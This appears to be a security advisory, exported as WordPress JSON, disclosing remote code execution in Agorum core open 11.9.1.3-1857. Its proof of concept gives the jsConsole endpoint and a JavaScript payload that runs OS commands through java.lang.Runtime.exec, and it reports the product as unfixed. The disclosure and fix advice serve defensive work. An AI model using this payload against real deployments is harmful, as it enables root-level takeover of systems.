{"id":24223,"date":"2025-06-27T16:06:38","date_gmt":"2025-06-27T14:06:38","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2025-0021\/"},"modified":"2025-07-01T10:14:44","modified_gmt":"2025-07-01T08:14:44","slug":"usd-2025-0021","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0021\/","title":{"rendered":"usd-2025-0021"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2025-0021 | Agorum core open 11.9.1.3-1857 - Remote Code Execution<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: Agorum core open<br \/><strong>Affected Version<\/strong>: 11.9.1.3-1857<br \/><strong>Vulnerability Type<\/strong>: Improper Neutralization of Special Elements used in a Command (Command Injection) (CWE-77)<br \/><strong>Security Risk<\/strong>: Critical<br \/><strong>Vendor<\/strong>: Agorum<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.agorum.com\/)\" target=\"_blank\" rel=\"noopener\">https:\/\/www.agorum.com\/<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: No<br \/><strong>Vendor Status<\/strong>: Not fixed<br \/><strong>CVE Number<\/strong>: Not requested<br \/><strong>CVE Link<\/strong>: Not requested<br \/><strong>Advisory ID<\/strong>: usd-2025-0021<\/p>\n<h3>Description<\/h3>\n<p><!-- add a description of the application and vulnerability -->\u200bagorum core is an open-source Enterprise Content Management (ECM) system developed by agorum Software GmbH in Germany. It offers a modular, highly customizable platform for document management, workflow automation, and digital collaboration.<\/p>\n<h3>Proof of Concept<\/h3>\n<p><!-- describe how the vulnerability can be exploited, feel free to add supporting images etc. -->An administrative user can make use of a module called <strong>jsConsole<\/strong>, which allows the execution of arbitrary commands at the operating system level.<\/p>\n<p>The <strong>jsConsole<\/strong> is accessible through the following endpoint. <strong>\/roiwebui\/home_module\/container\/?parent=root&amp;id=root.0&amp;module=Home&amp;brick=ScriptEditor&amp;config={isAdmin%3Atrue%2CisConsoleOnly%3Atrue}<\/strong><\/p>\n<p>The following payload can be used within the console to execute the <strong>whoami<\/strong> command.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">runCommand<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">function<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">cmd<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">runtime<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">java<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">lang<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Runtime<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">getRuntime<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">process<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">runtime<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">exec<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">cmd<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">reader<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">new<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">java<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">io<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">BufferedReader<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">new<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">java<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">io<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">InputStreamReader<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">process<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">getInputStream<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">())<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">line<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">output<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">while<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">((<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">line<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">reader<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">readLine<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">())<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">!=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">null<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">output<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">+=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">line<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">+<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"\\n\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">reader<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">close<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">process<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">waitFor<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">return<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">output<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<br \/><\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">};<br \/><\/span><span class=\"n\" style=\"background: #263238;color: #eff\">runCommand<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"whoami\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><\/pre>\n<\/div>\n<p>The following screenshot shows the command execution, revealing that the service is running as the <strong>root<\/strong> user, which grants full control over the system to an attacker.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/06\/rce.png\" width=\"600\" height=\"434\" alt=\"\" class=\"wp-image-24054 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/06\/rce.png 600w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/06\/rce-480x347.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 600px, 100vw\" \/><\/p>\n<h3>Fix<\/h3>\n<p><!-- how the vendor can fix the vulnerability.--><br \/><!-- if you recommended a quick workaround to the customer (and they are fine with you including it here!) feel free to add this information as well -->First, all user inputs within <strong>jsConsole<\/strong> must be strictly validated and sanitized. Only a predefined set of safe commands should be allowed, and any inputs containing potentially dangerous characters must be rejected or properly escaped.<\/p>\n<p>Additionally, a whitelist approach should be implemented, permitting only specific and necessary commands to be executed. Allowing arbitrary command execution should be avoided entirely.<\/p>\n<p>It is also crucial to configure the service to run with the least privileges possible. Instead of operating as the root user, the service should run under a dedicated low-privileged account, which significantly reduces the potential impact of any successful exploitation.<\/p>\n<p>If <strong>jsConsole<\/strong> is not absolutely required, the functionality should either be disabled or access should be heavily restricted.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/77.html\" target=\"_blank\" rel=\"noopener\"><span style=\"font-size: 16px\">https:\/\/cwe.mitre.org\/data\/definitions\/77.html<\/span><\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2025-05-05<\/strong>: First contact request via mail.<\/li>\n<li><strong>2025-05-05<\/strong>: The vendor has received our finding and began triage.<\/li>\n<li><strong>2025-05-07<\/strong>: The vendor has begun addressing and fixing the issue.<\/li>\n<li><strong>2025-05-27<\/strong>: The vendor has not confirmed this vulnerability, as it pertains to a system-relevant function.<\/li>\n<li><strong>2025-06-27<\/strong>: This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Jakob Steeg, Roman Hergenreder, Florian Kimmes, Kai Glauber, DR and Ole Wagner of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2025-0021 | Agorum core open 11.9.1.3-1857 - Remote Code Execution Product: Agorum core openAffected Version: 11.9.1.3-1857Vulnerability Type: Improper Neutralization of Special Elements used in a Command (Command Injection) (CWE-77)Security Risk: CriticalVendor: AgorumVendor URL: https:\/\/www.agorum.com\/Vendor acknowledged vulnerability: NoVendor Status: Not fixedCVE Number: Not requestedCVE Link: Not requestedAdvisory ID: usd-2025-0021 Description \u200bagorum core is an open-source Enterprise [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-24223","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24223","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=24223"}],"version-history":[{"count":3,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24223\/revisions"}],"predecessor-version":[{"id":24227,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24223\/revisions\/24227"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=24223"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}